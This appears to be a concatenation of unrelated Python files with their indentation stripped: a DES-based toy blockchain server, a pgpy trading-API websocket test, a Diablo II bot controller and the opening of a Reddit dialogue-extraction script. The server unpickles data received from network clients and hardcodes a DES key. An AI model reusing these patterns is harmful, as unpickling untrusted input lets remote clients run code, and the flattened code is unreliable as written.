[[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],
[3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],
[0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],
[13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9 ]],
[ [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],
[13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],
[13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],
[1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12 ]],
[ [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],
[13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9],
[10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],
[3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14] ],
[ [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],
[14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],
[4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],
[11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 ]],
[ [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],
[10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],
[9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],
[4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13] ],
[ [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],
[13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],
[1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],
[6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12] ],
[ [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],
[1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],
[7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],
[2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11] ] ]
FP = [40, 8, 48, 16, 56, 24, 64, 32,
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25]
PC1 = [57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4]
ST = [1, 1, 2, 2,
2, 2, 2, 2,
1, 2, 2, 2,
2, 2, 2, 1]
PC2 = [14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32]
def permute(pt, arr, n):
per = ""
for i in range(0,n):
per = per + pt[arr[i]-1]
return per
def bin2dec(binary):
binary1 = binary
decimal, i, n = 0, 0, 0
while(binary != 0):
dec = binary % 10
decimal = decimal + dec * pow(2, i)
binary = binary//10
i += 1
return decimal
def dec2bin(num):
res = bin(num).replace("0b", "")
if(len(res)%4 != 0):
div = len(res) / 4
div = int(div)
counter =(4 * (div + 1)) - len(res)
for i in range(0, counter):
res = '0' + res
return res
def hexToBin(s):
mp = {'0' : "0000",
'1' : "0001",
'2' : "0010",
'3' : "0011",
'4' : "0100",
'5' : "0101",
'6' : "0110",
'7' : "0111",
'8' : "1000",
'9' : "1001",
'A' : "1010",
'B' : "1011",
'C' : "1100",
'D' : "1101",
'E' : "1110",
'F' : "1111" }
bin = ""
for i in range(len(s)):
bin = bin + mp[s[i]]
return bin
def bin2hex(s):
mp = {"0000" : '0',
"0001" : '1',
"0010" : '2',
"0011" : '3',
"0100" : '4',
"0101" : '5',
"0110" : '6',
"0111" : '7',
"1000" : '8',
"1001" : '9',
"1010" : 'A',
"1011" : 'B',
"1100" : 'C',
"1101" : 'D',
"1110" : 'E',
"1111" : 'F' }
hex = ""
for i in range(0,len(s),4):
ch = ""
ch = ch + s[i]
ch = ch + s[i + 1]
ch = ch + s[i + 2]
ch = ch + s[i + 3]
hex = hex + mp[ch]
return hex
def xor(a, b):
ans = ""
for i in range(len(a)):
if a[i] == b[i]:
ans = ans + "0"
else:
ans = ans + "1"
return ans
def Sleft(k, nth_shifts):
s = ""
for i in range(nth_shifts):
for j in range(1,len(k)):
s = s + k[j]
s = s + k[0]
k = s
s = ""
return k
def encrypt(pt, roundKeyBinary, roundKey):
pt = hexToBin(pt)
pt = permute(pt, IP, 64)
print("After inital permutation", bin2hex(pt))
left = pt[:32]
right = pt[32:64]
for i in range(16):
Rexpanded = permute(right, Dbox, 48) # Expanding 32 bit data into 48
x = xor(Rexpanded, roundKeyBinary[i]) # Xorring right expanded and roundKey
sbox_str = ""
for j in range(0, 8):
row = bin2dec(int(x[j * 6] + x[j * 6 + 5]))
col = bin2dec(int(x[j * 6 + 1] + x[j * 6 + 2] + x[j * 6 + 3] + x[j * 6 + 4]))
val = Sbox[j][row][col]
sbox_str = sbox_str + dec2bin(val)
sbox_str = permute(sbox_str, SP, 32)
result = xor(left, sbox_str)
left = result
if(i != 15):
left, right = right, left
print("Round ", i + 1, " ", bin2hex(left), " ", bin2hex(right), " ", roundKey[i])
combine = left + right
cipher_text = permute(combine, FP, 64)
return cipher_text
def DES(pt, key):
key = hexToBin(key)
key = permute(key, PC1, 56)
left = key[0:28]
right = key[28:56]
rkb = []
rk = []
for i in range(0, 16):
# Shifting the bits by nth shifts by checking from shift table
left = Sleft(left, ST[i])
right = Sleft(right, ST[i])
# Combination of left and right string
combine_str = left + right
# Compression of key from 56 to 48 bits
round_key = permute(combine_str, PC2, 48)
rkb.append(round_key)
rk.append(bin2hex(round_key))
# print("Encryption")
cipher_text = bin2hex(encrypt(pt, rkb, rk))
# print("Cipher Text : ",cipher_text)
return cipher_text
def makDES(pt, key):
a = DES(pt[:16], key)
b = DES(pt[16:32], key)
c = DES(pt[32:48], key)
d = DES(pt[48:64], key)
return a+b+c+d
class Block:
def __init__(self, data, username, prevHash='0', nonce = 0):
self.username = username
self.data = data
self.jsonData = json.dumps(data)
self.timestamp = datetime.datetime.now().isoformat()
self.prevHash = prevHash
self.nonce = nonce
self.Hash = self.convertToDES(self.calculateHash().upper())
def as_dict(self):
return {' Username': self.username, ' Data': self.data , ' Timestamp':self.timestamp, ' Hash:': self.Hash, ' Previous Hash':self.prevHash }
def calculateHash(self):
return hashlib.sha256((self.timestamp + self.prevHash + self.jsonData + str(self.nonce)).encode()).hexdigest()
def convertToDES(self, pt):
return makDES(pt, "133457799BBCDFF1")
class Users:
def __init__(self, username, password):
self.timestamp = datetime.datetime.now().isoformat()
self.username = username
self.password = hashlib.sha256(password.encode()).hexdigest()
self.blockChain = []
self.serverPubKey = ''
def as_dict(self):
return {' Username': self.username, ' Timestamp': self.timestamp }
def createBlock(self, data):
return Block(data, self.username)
def verifyTransaction(self, currentBlock):
print("in verify")
blocks = self.blockChain
print(currentBlock.prevHash)
print(blocks[-1].Hash)
if currentBlock.prevHash == blocks[-1].Hash:
return True
return False
def verifyBlockChain(self):
blocks = self.blockChain
for i in range(1,len(blocks)):
if blocks[i].prevHash != blocks[i-1].Hash:
return False
return True
def verifyPoW(self, block):
val = hashlib.sha256((block.timestamp + block.prevHash + block.jsonData + str(block.nonce)).encode()).hexdigest()
finalHash = makDES(val.upper(), "133457799BBCDFF1")
if finalHash != block.Hash:
return False
return True
class Admin: #Miner
def __init__(self):
print("Admin Initiated")
sock = self.create_socket(('localhost', 5000))
Thread(target=self.start_threads, args=(sock,)).start()
if os.stat("BlockChain.txt").st_size == 0:
f = open('BlockChain.txt', 'wb')
block = Block("Genesis", 'admin')
pickle.dump([block], f)
f.close()
if os.stat("Users.txt").st_size == 0:
f = open('Users.txt', 'wb')
user = self.createUser('Genesis', 'admin')
pickle.dump([user], f)
f.close()
def createUser(self, username, password):
print("Inside createUser")
user = Users(username, password)
if not os.stat("BlockChain.txt").st_size == 0:
f = open('BlockChain.txt', 'rb')
blocks = pickle.load(f)
f.close()
user.blockChain = blocks
# print(user.username, user.password)
if not os.stat("Users.txt").st_size == 0:
f = open('Users.txt', 'rb')
users = pickle.load(f)
f.close()
users.append(user)
f = open('Users.txt', 'wb')
pickle.dump(users, f)
f.close()
return user
def checkData(self, block):
f = open('Users.txt','rb')
users = pickle.load(f)
f.close()
transactbool = 0
hashbool = 0
for i in range(0,len(users)):
transact = users[i].verifyTransaction(block)
hashing = users[i].verifyPoW(block)
if transact:
transactbool+=1
if hashing:
hashbool+=1
print(transactbool, hashbool)
if hashbool > len(users)/2 and transactbool > len(users)/2 :
return True
return False
def addBlock(self, block):
f = open('BlockChain.txt', 'rb')
blocks = pickle.load(f)
f.close()
blocks.append(block)
f = open('BlockChain.txt', 'wb')
pickle.dump(blocks, f)
f.close()
f = open('Users.txt', 'rb')
users = pickle.load(f)
f.close()
for i in range(0,len(users)):
users[i].blockChain = blocks
f = open('Users.txt', 'wb')
pickle.dump(users, f)
f.close()
return
def create_socket(self, address):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(address)
listener.listen(64)
print('listening at {}'.format(address))
return listener
def accept_forever(self, listener):
while True:
sock, address = listener.accept()
print('Accepted connection from {}'.format(address))
ans = self.authenticate(sock)
if not ans:
sock.sendall('Authentication Failed'.encode())
continue
self.handle_conversation(sock,address)
def authenticate(self, sock):
data = sock.recv(4096)
username = data.decode()
print(username)
f = open('Users.txt', 'rb')
users = pickle.load(f)
f.close()
currUser = ''
for user in users:
if user.username == username:
currUser = username
break
if currUser == '':
sock.sendall('Username not in record'.encode())
return False
sock.sendall('Username Received'.encode())
data = b''
payload_size = struct.calcsize("L")
print("Expecting Password")
while len(data) < payload_size:
data += sock.recv(4096)
packed_msg_size = data[:payload_size]
data = data[payload_size:]
msg_size = struct.unpack("L", packed_msg_size)[0]
while len(data) < msg_size:
data += sock.recv(4096)
block_data = data[:msg_size]
data = data[msg_size:]
password = pickle.loads(block_data)
rsa = RSA()
password = rsa.getDecryption(password, prKey[0], prKey[1])
f = open('Users.txt', 'rb')
users = pickle.load(f)
f.close()
for user in users:
if user.username == username:
currUser = user
break
hashedPT = hashlib.sha256(password.encode()).hexdigest()
if not hashedPT == user.password:
return False
return True
def handle_conversation(self, sock, address):
try:
val = self.handle_request(sock)
if not val:
print("Mining not verified by consensus of the users")
return
except EOFError:
print('Client socket to {} has closed'.format(address))
except Exception as e:
print('Client {} error {}'.format(address,e))
finally:
sock.close()
def handle_request(self, sock):
data = b''
payload_size = struct.calcsize("L")
sock.sendall('Send Block'.encode())
print("Expecting Data")
while len(data) < payload_size:
data += sock.recv(4096)
packed_msg_size = data[:payload_size]
data = data[payload_size:]
msg_size = struct.unpack("L", packed_msg_size)[0]
while len(data) < msg_size:
data += sock.recv(4096)
block_data = data[:msg_size]
data = data[msg_size:]
block = pickle.loads(block_data)
self.mineBlock(block)
toProceed = self.checkData(block)
if not toProceed:
return False
print("PoW done by miner verified by consensus of users")
self.addBlock(block)
sock.sendall('Block has been added to the BlockChain'.encode())
return True
def mineBlock(self, block, difficulty = 5):
while block.Hash[:difficulty] != '0'*difficulty:
block.nonce+=1
block.Hash = block.calculateHash()
print(block.nonce, block.Hash)
finalHash = makDES(block.Hash.upper(), "133457799BBCDFF1")
block.Hash = finalHash
return
def start_threads(self, listener, workers=4):
print("here")
t = (listener,)
for i in range(workers):
Thread(target=self.accept_forever, args=t).start()
return |
test_api_end_to_end.py | from threading import Event, Thread
from unittest import TestCase
import json
from autobahn.twisted.websocket import WebSocketServerProtocol, WebSocketServerFactory
from autobahn.twisted.resource import WebSocketResource
from twisted.internet import reactor
from twisted.web.server import Site
from twisted.web.static import Data
import pgpy
exchange_key = pgpy.PGPKey()
exchange_key.parse(open('keys/quedex-private-key.asc', 'r').read())
trader_key = pgpy.PGPKey()
trader_key.parse(open('keys/trader-public-key.asc', 'r').read())
messages = []
client_messages_received_lock = Event()
user_stream_sender = None
class TestApiEndToEnd(TestCase):
def setUp(self):
market_factory = WebSocketServerFactory('ws://localhost:8080/market_stream')
user_factory = WebSocketServerFactory('ws://localhost:8080/user_stream')
market_factory.protocol = MarketStreamServerProtocol
user_factory.protocol = UserStreamServerProtocol
market_factory.startFactory()
user_factory.startFactory()
root = Data('', 'text/plain')
root.putChild(b'market_stream', WebSocketResource(market_factory))
root.putChild(b'user_stream', WebSocketResource(user_factory))
site = Site(root)
reactor.listenTCP(8080, site)
def run_server():
reactor.run(installSignalHandlers=False)
Thread(target=run_server).start()
def tearDown(self):
reactor.callFromThread(reactor.stop)
def test_interaction_with_client(self):
if not client_messages_received_lock.wait(3):
self.fail('Timed out waiting for the client')
self.assertEqual(messages[0], {
'account_id': '83745263748',
'type': 'place_order',
'nonce': 2,
'nonce_group': 5,
'instrument_id': '71',
'client_order_id': 1,
'side': 'sell',
'quantity': 1000,
'limit_price': '11000',
'order_type': 'limit',
})
self.assertEqual(messages[1], {
'account_id': '83745263748',
'type': 'place_order',
'nonce': 3,
'nonce_group': 5,
'instrument_id': '71',
'client_order_id': 2,
'side': 'sell',
'quantity': 1000,
'limit_price': '12000',
'order_type': 'limit',
})
self.assertEqual(messages[2], {
'type': 'batch',
'account_id': '83745263748',
'batch': [{
'account_id': '83745263748',
'type': 'place_order',
'nonce': 4,
'nonce_group': 5,
'instrument_id': '71',
'client_order_id': 3,
'side': 'buy',
'quantity': 123,
'limit_price': '1000000',
'order_type': 'limit',
}]
})
class UserStreamServerProtocol(WebSocketServerProtocol):
def __init__(self):
super(UserStreamServerProtocol, self).__init__()
global user_stream_sender
user_stream_sender = self.sendMessage
def onMessage(self, payload, is_binary):
# explicit decode for Python 3 compatibility
message = decrypt_verify(payload.decode('utf8'))
if message['type'] == 'get_last_nonce':
user_stream_sender(sign_encrypt({
'type': 'last_nonce',
'last_nonce': 0,
'nonce_group': 5,
}))
elif message['type'] == 'subscribe':
user_stream_sender(sign_encrypt({
'type': 'subscribed',
'message_nonce_group': 5,
}))
else:
messages.append(message)
if len(messages) == 3:
client_messages_received_lock.set()
class MarketStreamServerProtocol(WebSocketServerProtocol):
def onOpen(self):
self.sendMessage(sign({
'type': 'instrument_data',
'data': {'71': {'type': 'futures', 'instrument_id': '71'}},
}))
self.sendMessage(sign({
'type': 'order_book',
'instrument_id': '71',
'bids': [['9000', 10]],
'asks': [],
}))
self.sendMessage(sign({
'type': 'order_book',
'instrument_id': '71',
'bids': [['11000', 10]],
'asks': [['20000', 10]],
}))
self.sendMessage(sign({
'type': 'order_book',
'instrument_id': '72',
'bids': [['11000', 10]],
'asks': [['20000', 10]],
}))
self.sendMessage(sign({
'type': 'order_book',
'instrument_id': '71',
'bids': [['12000', 10]],
'asks': [['20000', 10]],
}))
# send messages on user stream here, to maintain the order of events
user_stream_sender(sign_encrypt({
'type': 'open_position',
'instrument_id': '71',
'quantity': 123,
'side': 'short',
}))
user_stream_sender(sign_encrypt({
'type': 'account_state',
'balance': '9999',
}))
user_stream_sender(sign_encrypt({
'type': 'account_state',
'balance': '3.13',
}))
def sign(object):
message = pgpy.PGPMessage.new(json.dumps(object))
message |= exchange_key.sign(message)
# explicit encode for Python 3 compatibility
return json.dumps({'type': 'data', 'data': str(message)}).encode('utf8')
def sign_encrypt(object):
message = pgpy.PGPMessage.new(json.dumps([object]))
message |= exchange_key.sign(message)
# explicit encode for Python 3 compatibility
return json.dumps({'type': 'data', 'data': str(trader_key.encrypt(message))}).encode('utf8')
def decrypt_verify(message):
decrypted = exchange_key.decrypt(pgpy.PGPMessage.from_blob(message))
if not trader_key.verify(decrypted):
raise AssertionError('Verification failed for message: ' + decrypted)
return json.loads(decrypted.message)
|
game_controller.py | import os
import threading
import time
import cv2
from template_finder import TemplateFinder
from utils.auto_settings import check_settings
from bot import Bot
from config import Config
from death_manager import DeathManager
from game_recovery import GameRecovery
from game_stats import GameStats
from health_manager import HealthManager
from logger import Logger
from messenger import Messenger
from screen import Screen
from ui.char_selector import CharSelector
from utils.misc import kill_thread
from utils.restart import restart_game
from utils.misc import kill_thread, set_d2r_always_on_top, restore_d2r_window_visibility
class GameController:
is_running = False
def __init__(self):
self._config = Config()
self.screen = None
self.template_finder = None
self.health_monitor_thread = None
self.health_manager = None
self.death_manager = None
self.death_monitor_thread = None
self.game_recovery = None
self.game_stats = None
self.game_controller_thread = None
self.bot_thread = None
self.bot = None
self.char_selector = None
def run_bot(self, pick_corpse: bool = False):
if self._config.general['restart_d2r_when_stuck']:
# Make sure the correct char is selected
if self.char_selector.has_char_template_saved():
Logger.info("Selecting original char")
self.char_selector.select_char()
else:
Logger.info("Saving top-most char as template")
self.char_selector.save_char_template()
# Start bot thread
self.bot = Bot(self.screen, self.game_stats, self.template_finder, pick_corpse)
self.bot_thread = threading.Thread(target=self.bot.start)
self.bot_thread.daemon = True
self.bot_thread.start()
# Register that thread to the death and health manager so they can stop the bot thread if needed
self.death_manager.set_callback(lambda: self.bot.stop() or kill_thread(self.bot_thread))
self.health_manager.set_callback(lambda: self.bot.stop() or kill_thread(self.bot_thread))
self.health_manager.set_belt_manager(self.bot.get_belt_manager())
do_restart = False
messenger = Messenger()
while 1:
self.health_manager.update_location(self.bot.get_curr_location())
max_game_length_reached = self.game_stats.get_current_game_length() > self._config.general["max_game_length_s"]
if max_game_length_reached or self.death_manager.died() or self.health_manager.did_chicken():
# Some debug and logging
if max_game_length_reached:
Logger.info(f"Max game length reached. Attempting to restart {self._config.general['name']}!")
if self._config.general["info_screenshots"]:
cv2.imwrite("./info_screenshots/info_max_game_length_reached_" + time.strftime("%Y%m%d_%H%M%S") + ".png", self.screen.grab())
elif self.death_manager.died():
self.game_stats.log_death(self.death_manager._last_death_screenshot)
elif self.health_manager.did_chicken():
self.game_stats.log_chicken(self.health_manager._last_chicken_screenshot)
self.bot.stop()
kill_thread(self.bot_thread)
# Try to recover from whatever situation we are and go back to hero selection
do_restart = self.game_recovery.go_to_hero_selection()
break
time.sleep(0.5)
self.bot_thread.join()
if do_restart:
# Reset flags before running a new bot
self.death_manager.reset_death_flag()
self.health_manager.reset_chicken_flag()
self.game_stats.log_end_game(failed=max_game_length_reached)
return self.run_bot(True)
else:
if self._config.general["info_screenshots"]:
cv2.imwrite("./info_screenshots/info_could_not_recover_" + time.strftime("%Y%m%d_%H%M%S") + ".png", self.screen.grab())
if self._config.general['restart_d2r_when_stuck']:
Logger.error("Could not recover from a max game length violation. Restarting the Game.")
if self._config.general["custom_message_hook"]:
messenger.send_message("Got stuck and will now restart D2R")
if restart_game(self._config.general["d2r_path"]):
self.game_stats.log_end_game(failed=max_game_length_reached)
if self.setup_screen():
self.start_health_manager_thread()
self.start_death_manager_thread()
self.game_recovery = GameRecovery(self.screen, self.death_manager, self.template_finder)
return self.run_bot(True)
Logger.error("Could not restart the game. Quitting.")
messenger.send_message("Got stuck and could not restart the game. Quitting.")
else:
Logger.error("Could not recover from a max game length violation. Quitting botty.")
if self._config.general["custom_message_hook"]:
messenger.send_message("Got stuck and will now quit botty")
os._exit(1)
def start(self):
# Check if we user should update the d2r settings
diff = check_settings(self._config)
if len(diff) > 0:
Logger.warning("Your D2R settings differ from the requiered ones. Please use Auto Settings to adjust them. The differences are:")
Logger.warning(f"{diff}")
if self._config.advanced_options['d2r_windows_always_on_top']:
set_d2r_always_on_top()
self.setup_screen()
self.template_finder = TemplateFinder(self.screen)
self.start_health_manager_thread()
self.start_death_manager_thread()
self.game_recovery = GameRecovery(self.screen, self.death_manager, self.template_finder)
self.game_stats = GameStats()
self.char_selector = CharSelector(self.screen, self.template_finder)
self.start_game_controller_thread()
GameController.is_running = True
def stop(self):
if self._config.advanced_options['d2r_windows_always_on_top']:
restore_d2r_window_visibility()
if self.death_monitor_thread: kill_thread(self.death_monitor_thread)
if self.health_monitor_thread: kill_thread(self.health_monitor_thread)
if self.bot_thread: kill_thread(self.bot_thread)
if self.game_controller_thread: kill_thread(self.game_controller_thread)
GameController.is_running = False
def setup_screen(self):
self.screen = Screen(self._config.general["monitor"])
if self.screen.found_offsets:
return True
return False
def start_health_manager_thread(self):
# Run health monitor thread
self.health_manager = HealthManager(self.screen, self.template_finder)
self.health_monitor_thread = threading.Thread(target=self.health_manager.start_monitor)
self.health_monitor_thread.daemon = True
self.health_monitor_thread.start()
def start_death_manager_thread(self):
# Run death monitor thread
self.death_manager = DeathManager(self.screen, self.template_finder)
self.death_monitor_thread = threading.Thread(target=self.death_manager.start_monitor)
self.death_monitor_thread.daemon = True
self.death_monitor_thread.start()
def start_game_controller_thread(self):
# Run game controller thread
self.game_controller_thread = threading.Thread(target=self.run_bot)
self.game_controller_thread.daemon = False
self.game_controller_thread.start()
def toggle_pause_bot(self):
if self.bot: self.bot.toggle_pause()
|
reddit.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import sys
import time
import os.path
import math
import re
import argparse
import traceback
import json
import bz2
import gzip
from nltk.tokenize import TweetTokenizer
from flashtext import KeywordProcessor
import hashlib
def makedirs(fld):
if not os.path.exists(fld):
os.makedirs(fld)
tdc = 0
PICKLE_MAX_LEN = 1e4
TAG_COMMENT = 't1_'
TAG_SUBMISSION = 't3_'
dontuse = '__dontuse__'
url_str = '__url__'
parser = argparse.ArgumentParser()
parser.add_argument("dump_name", help="YYYY-MM, dumped files to be loaded")
parser.add_argument("--bl_words", help="list of offensive words, to avoid in responses")
parser.add_argument("--ignore_keys", default=False, type=bool, help="If true ignore any keys provided as arguments")
parser.add_argument("--keep_keys", help="hashes of instances to keep")
parser.add_argument("--discard_tgt_keys", help="hashes of targets to discard")
parser.add_argument("--freq_words", help="words sorted by their corpus frequencies")
parser.add_argument("--bl_subreddits", help="blocklist of offensive subreddits")
parser.add_argument("--wl_subreddits", help="whitelist of relatively safe subreddits")
parser.add_argument("--reddit_input", default="d:/data/reddit/bz2/", help="Location of the input reddit data (bz2 files)")
parser.add_argument("--reddit_output", default="d:/data/reddit/", help="Location of the output reddit data (conversations)")
parser.add_argument("--max_len", default=30, type=int)
# 30 words means roughly 70 characters on average for Reddit
parser.add_argument("--max_len_type", default='w') # w for words, c for chars
parser.add_argument("--min_depth", default=2, type=int)
parser.add_argument("--max_depth", default=10, type=int)
parser.add_argument("--min_score", default=0, type=int)
parser.add_argument("--use_title", default=1, type=int)
parser.add_argument("--leaves_only", default=0, type=int)
parser.add_argument("--split_size", default=int(5e5), type=int)
parser.add_argument("--task", default='conv')
parser.add_argument("--parallel", default=False, type=bool)
parser.add_argument("--pre_tok", default=False, type=bool, help="whether to tokenize during the extract step")
parser.add_argument("--clean", default=False, type=bool, help="apply some filters to significantly reduce number of instances")
args = parser.parse_args()
print("Args: %s" % args, file=sys.stderr)
fields_subm = [ "id", "score", "num_comments", "domain", "permalink", "title" ]
fields_comm = [ "id", "author", "parent_id", "link_id", "score", "n_char", "body"]
bl_words = KeywordProcessor()
bl_subreddits = {}
wl_subreddits = ['EroticWriting', '/r/EroticWriting', 'eroticauthors', 'erotica', '/r/eroticauthors', '/r/erotica', 'gonewildstories', '/r/gonewildstories', 'sluttyconfessions', '/r/sluttyconfessions']
keys = {}
keys_rm = {}
def jareprint(string):
if fld_out is not None:
with open(fld_out + '/%s.tsv.gz.logtemp'%args.dump_name, 'a', encoding="utf-8") as f:
f.write(str(string) + '\n')
print(string)
def get_submission_id(submission):
return TAG_SUBMISSION + submission["id"]
def get_comment_id(comment):
return TAG_COMMENT + comment["id"]
def norm_sentence(txt, is_extract):
if is_extract:
return minimal_norm_sentence(txt)
else:
return gpt_norm_sentence(txt)
def minimal_norm_sentence(txt):
txt = txt.replace(chr(92),'') # chr(92) = '\'. as twitter has 'b\/c' rather than 'b/c'
txt = txt.replace('\n', ' ')
txt = txt.replace('\r', ' ')
txt = txt.replace('\t', ' ')
#print ("Tokenized: [%s]" % txt, file=sys.stderr)
return txt
def gpt_norm_sentence(txt):
# url and tag
words = []
for word in txt.split():
if word[0] == '#': # don't allow tag
continue
i = word.lower().find('http')
if i >= 0:
word = word[:i] + ' ' + '__url__'
words.append(word.strip())
txt = ' '.join(words)
# remove illegal char
txt = txt.replace(chr(92),'') # chr(92) = '\'. as twitter has 'b\/c' rather than 'b/c'
txt = txt.replace("b/c","because").replace('j/k','just kidding').replace('w/o','without').replace('w/','with')
txt = re.sub('__mention__','MENTION',txt)
txt = re.sub('__url__','URL',txt)
txt = re.sub(r"[^A-Za-z0-9()\[\]:,.!?'“” ]", " ", txt)
txt = re.sub('MENTION','__mention__',txt)
txt = re.sub('URL','__url__',txt)
tokenizer = TweetTokenizer(preserve_case=True)
txt = ' ' + ' '.join(tokenizer.tokenize(txt)) + ' '
# remove un-necessary space
return ' '.join(txt.split())
def extract_submissions(fld_bz2, fld_split, size=2e5):
path_in = fld_bz2 + '/RS_%s.bz2'%args.dump_name
n = 0
m = 0
sub = 0
sid = []
sids = []
lines = []
try:
with bz2.open(path_in, 'rt', encoding="utf-8") as f:
try:
for line in f:
n += 1
#if n%1e4 == 0:
#jareprint('[%s] selected %.3fM from %.2fM submissions'%(
# #args.dump_name, m/1e6, n/1e6))
try:
submission = json.loads(line)
if int(submission['num_comments']) < 2: # filter 1
continue
submission['title'] = norm_sentence(submission['title'], True)
lines.append('\t'.join([str(submission[k]) for k in fields_subm]))
m += 1
sid.append(get_submission_id(submission))
except Exception:
traceback.print_exc()
continue
if len(sid) == size:
#jareprint('writing submissions_sub%i'%sub)
sids.append(set(sid))
with open(fld_split + '/rs_sub%i.tsv'%sub, 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
sid = []
lines = []
sub += 1
except:
with open(path_in, 'rt', encoding="utf-8") as f:
for line in f:
n += 1
#if n%1e4 == 0:
#jareprint('[%s] selected %.3fM from %.2fM submissions'%(
#args.dump_name, m/1e6, n/1e6))
try:
submission = json.loads(line)
if int(submission['num_comments']) < 2: # filter 1
continue
submission['title'] = norm_sentence(submission['title'], True)
lines.append('\t'.join([str(submission[k]) for k in fields_subm]))
m += 1
sid.append(get_submission_id(submission))
except Exception:
traceback.print_exc()
continue
if len(sid) == size:
#jareprint('writing submissions_sub%i'%sub)
sids.append(set(sid))
with open(fld_split + '/rs_sub%i.tsv'%sub, 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
sid = []
lines = []
sub += 1
except:
abc=123
#jareprint('writing submissions_sub%i'%sub)
sids.append(set(sid))
with open(fld_split + '/rs_sub%i.tsv'%sub, 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
#jareprint('extract_submissions done.\n')
return sids, m, n
def extract_comments(fld_bz2, fld_split, sids):
path_in = fld_bz2 + '/RC_%s.bz2'%args.dump_name
n = 0
m = 0
n_sub = len(sids)
lines = [[] for i in range(n_sub)]
try:
for sub in range(n_sub):
open(fld_split + '/rc_sub%i.tsv'%sub, 'w')
with open(path_in, 'rt', encoding="utf-8") as f:
for line in f:
n += 1
if n%1e4 == 0:
#jareprint('[%s] selected %.3fM from %.2fM comments'%(
#args.dump_name, m/1e6, n/1e6))
for sub in range(n_sub):
#jareprint(' sub %i: %i'%(sub, len(lines[sub])))
if len(lines[sub]) > 0:
with open(fld_split + '/rc_sub%i.tsv'%sub, 'a', encoding='utf-8') as f:
f.write('\n'.join(lines[sub]) + '\n')
lines[sub] = []
try:
comment = json.loads(line)
if args.keep_keys:
k = '\t'.join([comment['link_id'], get_comment_id(comment), 'dep'])
if k not in keys.keys():
continue
if comment['body'] == '[deleted]': # filter 1
continue
if '>' in comment['body'] or '>' in comment['body']: # filter 3: '>' means '>'
continue
sid = comment['link_id']
for sub in range(n_sub):
if sid in sids[sub]:
comment['n_char'] = len(comment['body'])
comment['body'] = norm_sentence(comment['body'], True)
if len(comment['body'].split()) < 2: # filter 2
break
lines[sub].append('\t'.join([str(comment[k]) for k in fields_comm]))
m += 1
break
except Exception:
traceback.print_exc()
except:
abc=123
#jareprint('the rest...')
for sub in range(n_sub):
#jareprint(' sub %i: %i'%(sub, len(lines[sub])))
with open(fld_split + '/rc_sub%i.tsv'%sub, 'a', encoding='utf-8') as f:
f.write('\n'.join(lines[sub]))
#jareprint('extract_comments done.\n')
return m, n
def get_convo(sid, rootid, cid, submissions, comments, index, depth=args.max_depth):
if depth == 0:
return []
c = comments[cid]
#if args.max_len_type == 'w' and len(c['body'].split()) > args.max_len: # len filter
#return []
#if args.max_len_type == 'c' and int(c['n_char']) > args.max_len:
#return []
pid = c['parent_id']
